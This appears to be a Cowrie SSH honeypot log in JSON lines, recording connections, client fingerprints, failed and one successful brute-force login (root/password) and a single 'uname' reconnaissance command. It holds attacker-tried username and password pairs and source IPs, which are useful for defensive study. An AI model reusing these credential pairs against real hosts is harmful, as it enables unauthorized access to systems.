{"eventid":"cowrie.login.failed","username":"zhuge","password":"Zhuge123","message":"login attempt [zhuge/Zhuge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:06.726178Z","src_ip":"171.237.176.209","session":"59d5480fe158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:07.982390Z","src_ip":"171.237.176.209","session":"59d5480fe158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0cd99bd8fa","protocol":"ssh","message":"New connection: 92.118.39.92:47472 (159.203.135.109:22) [session: aa0cd99bd8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:24.343447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:24.347690Z","src_ip":"92.118.39.92","session":"aa0cd99bd8fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:24.453114Z","src_ip":"92.118.39.92","session":"aa0cd99bd8fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:24.811759Z","src_ip":"92.118.39.92","session":"aa0cd99bd8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:25.918749Z","src_ip":"92.118.39.92","session":"aa0cd99bd8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":40402,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed6f15aafba9","protocol":"ssh","message":"New connection: 160.251.197.41:40402 (159.203.135.109:22) [session: ed6f15aafba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:07.173351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:07.178080Z","src_ip":"160.251.197.41","session":"ed6f15aafba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:07.355121Z","src_ip":"160.251.197.41","session":"ed6f15aafba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":33372,"dst_ip":"159.203.135.109","dst_port":22,"session":"644e92255e9e","protocol":"ssh","message":"New connection: 171.25.158.70:33372 (159.203.135.109:22) [session: 644e92255e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:07.688440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:07.693209Z","src_ip":"171.25.158.70","session":"644e92255e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:07.809900Z","src_ip":"171.25.158.70","session":"644e92255e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"password","message":"login attempt [dj/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:08.094818Z","src_ip":"160.251.197.41","session":"ed6f15aafba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"Gg123!","message":"login attempt [gg/Gg123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:08.388255Z","src_ip":"171.25.158.70","session":"644e92255e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:09.274071Z","src_ip":"160.251.197.41","session":"ed6f15aafba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:09.504517Z","src_ip":"171.25.158.70","session":"644e92255e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":37080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead3d8b148c2","protocol":"ssh","message":"New connection: 80.94.92.168:37080 (159.203.135.109:22) [session: ead3d8b148c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:31.643331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:31.771991Z","src_ip":"80.94.92.168","session":"ead3d8b148c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:31.775558Z","src_ip":"80.94.92.168","session":"ead3d8b148c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:33.215737Z","src_ip":"80.94.92.168","session":"ead3d8b148c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:34.515064Z","src_ip":"80.94.92.168","session":"ead3d8b148c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":37230,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad598932253e","protocol":"ssh","message":"New connection: 118.26.39.178:37230 (159.203.135.109:22) [session: ad598932253e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:37.992128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:37.996837Z","src_ip":"118.26.39.178","session":"ad598932253e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:38.211191Z","src_ip":"118.26.39.178","session":"ad598932253e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39770,"dst_ip":"10.17.0.5","dst_port":22,"session":"72c01b8f0e9b","protocol":"ssh","message":"New connection: 195.178.110.218:39770 (10.17.0.5:22) [session: 72c01b8f0e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:38.473086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:38.477636Z","src_ip":"195.178.110.218","session":"72c01b8f0e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:38.553764Z","src_ip":"195.178.110.218","session":"72c01b8f0e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:38.779549Z","src_ip":"195.178.110.218","session":"72c01b8f0e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"setup","password":"setuppassword","message":"login attempt [setup/setuppassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:39.101873Z","src_ip":"118.26.39.178","session":"ad598932253e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:39.856744Z","src_ip":"195.178.110.218","session":"72c01b8f0e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:32:40.321240Z","src_ip":"118.26.39.178","session":"ad598932253e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34710,"dst_ip":"159.203.135.109","dst_port":22,"session":"1befc496eba3","protocol":"ssh","message":"New connection: 92.118.39.92:34710 (159.203.135.109:22) [session: 1befc496eba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:44.726208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:44.731459Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:44.832412Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:45.137682Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:45.373012Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:45.375820Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:45.478112Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:33:45.483010Z","src_ip":"92.118.39.92","session":"1befc496eba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":33064,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b8158de8ecb","protocol":"ssh","message":"New connection: 118.26.39.178:33064 (159.203.135.109:22) [session: 1b8158de8ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:34:45.849055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:34:45.853364Z","src_ip":"118.26.39.178","session":"1b8158de8ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:34:46.070163Z","src_ip":"118.26.39.178","session":"1b8158de8ecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gustavo","password":"gustavo","message":"login attempt [gustavo/gustavo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:34:46.971939Z","src_ip":"118.26.39.178","session":"1b8158de8ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:34:48.191438Z","src_ip":"118.26.39.178","session":"1b8158de8ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48332,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3cdb70a7359","protocol":"ssh","message":"New connection: 195.178.110.218:48332 (10.17.0.5:22) [session: b3cdb70a7359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:35:16.369868Z"}
